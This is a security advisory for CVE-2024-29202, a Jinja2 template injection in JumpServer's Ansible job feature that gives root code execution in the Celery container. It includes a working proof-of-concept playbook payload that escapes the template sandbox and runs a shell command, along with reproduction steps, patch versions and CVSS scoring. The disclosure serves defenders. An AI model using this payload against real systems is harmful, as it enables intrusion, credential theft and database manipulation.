Skip to content

Jinja2 template injection in Ansible leads to RCE in Celery

Critical
ibuler published GHSA-2vvr-vmvx-73ch Mar 29, 2024

Package

jumpserver

Affected versions

v3.0.0-v3.10.6

Patched versions

v3.10.7

Description

Impact

Attackers can exploit a Jinja2 template injection vulnerability in JumpServer's Ansible to execute arbitrary code within the Celery container. Since the Celery container runs with root privileges and has database access, attackers could steal sensitive information from all hosts or manipulate the database.

Details

An attacker with a low-privilege user account is capable of exploiting a vulnerability to execute arbitrary code within the Celery container. The vulnerability can be reproduced via the following steps:

  • The attacker constructs a malicious playbook template within the "Job > Template" section of the Workbench, like the following YAML code:
- name: |
       {% for x in ().__class__.__base__.__subclasses__() %}
         {% if "warning" in x.__name__ %}
           {{
             x()._module.__builtins__["__import__"]("os").system("id > /tmp/pwnd")
           }}
         {%endif%}
       {%endfor%}
  • The attacker creates a job by running the malicious playbook template within the "Job > Job list" section of the Workbench.

  • The attacker successfully creates the file /tmp/pwnd in the Celery container.

Patches

Safe versions: >= v3.10.7

Workarounds

Temporary repair, System setting (系统设置) - Feature(功能设置) - Job Center(任务中心) Disable (关闭)

It is recommended to upgrade the safe versions.
After the upgrade, the attacker would be unable to execute arbitrary code within the Celery container.

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-29202

Weaknesses